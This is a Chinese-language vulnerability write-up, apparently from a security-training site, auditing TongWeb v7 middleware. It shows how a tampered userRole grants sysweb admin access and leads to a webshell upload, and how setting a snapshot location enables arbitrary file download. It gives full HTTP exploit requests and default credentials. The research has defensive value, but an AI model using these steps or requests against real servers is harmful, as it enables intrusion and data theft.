当前位置: 首页 > 技术干货 > TongWeb闭源中间件代码审计

TongWeb闭源中间件代码审计

发表于:2025-06-23 10:36 作者: 大白 阅读数(32人)

应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范,作为基础架构软件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用高效、稳定、安全运行提供关键支撑,包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。

本文对该中间件部分公开在互联网,但未分析细节的漏洞,进行复现分析:

sysweb后台上传getshell:

在互联网搜索发现该版本存在sysweb后台文件下载,可惜却没有复现细节,且访问显示如下:

发现通过默认口令thanos/thanos123.com无法登录,且未发现任何相关的默认口令:

于是自己找到配置文件查看权限校验情况:

\sysweb\WEB-INF\web.xml:

发现配置情况如上,一切/*请求均需要admin权限才行,但目前互联网暂未发现任何其他相关权限账号,自己尝试admin相关弱口令也均为成功,于是继续寻找用户相关功能点:

点击安全服务--安全域管理:

点击该安全域:找到默认账户的thanos用户:

点击保存,查看数据包:

发现该账户的userRole为tongweb与sysweb要求的admin并不匹配,于是点击创建用户:

但并未发现可以随意设置用户的useRole,于是点击保存,并拦截数据包:

将空白的userRole设置为admin,并放包:

发现创建成功。于是尝试sysweb登录:

发现仅仅是如上页面,但是至少权限问题解决了。

接着返回sysweb的配置文件:

跟进分析:

发现未进行任何校验过滤,直接通过parseFileName()方法解析header获取文件名赋值给fileName。

构造如下文件上传数据包:

上传成功,shell加一:

任意文件下载漏洞:

默认账号密码:thanos/thanos123.com登录后台,在快照管理处存在下载功能点:

点击下载抓包查看:

下载文件打包成压缩包下载:

如上,疑似存在下载漏洞,跟进路由:

如上,先找到类级别的路径位置,注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。

随后再找到方法级别的路由位置,download的post请求均会被该方法处理:

可见该方法接收了前面数据包传输的参数filename,并赋值给snapshotname参数。

分析如上代码存在以下路径:

Path:根路径,由system.getProperty/temp/download组成

snapshotRootPath:由path/snapshotname组成。

随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩,下载,且此处未进行任何校验:

但如果直接修改数据包filename进行任意文件下载依然会失败,因为紧接着代码进行了如下校验:

判断下载路径snapshotRootPath的父路径是否是path,也就是对snapshotname与path拼接后的路径进行校验,如果snapshotname值为../../或者为/a/b这种格式则无法通过校验,也就是限制了跨目录操作。

但回过头来查看具体下载操作:

是通过fileOrDir路径与snapshotRootPath进行文件下载的,查找location的值:

且发现location参数值可控:

于是先通过如下数据包修改location的值(修改为想任意下载的目录):

POST /console/rest/monitor/snapshots/setLocation HTTP/1.1

Host: 192.168.73.130:9060

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0

Accept: application/json, text/javascript, \*/\*; q=0.01

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 36

Origin: http://192.168.73.130:9060

Connection: keep-alive

Referer: http://192.168.73.130:9060/console/rest

Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;
DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp

snapshot_location=D%3A%5CTongWeb7.42

随后再进行下载:

POST /console/rest/monitor/snapshots/download HTTP/1.1

Host: 192.168.73.130:9060

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
Gecko/20100101 Firefox/139.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://192.168.73.130:9060

Connection: keep-alive

Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp

Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;
DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp

Upgrade-Insecure-Requests: 1

Priority: u=4

filename=conf

如下,下载成功:

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 渗透测试工程师特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC赏金猎人大师班 HVV大师课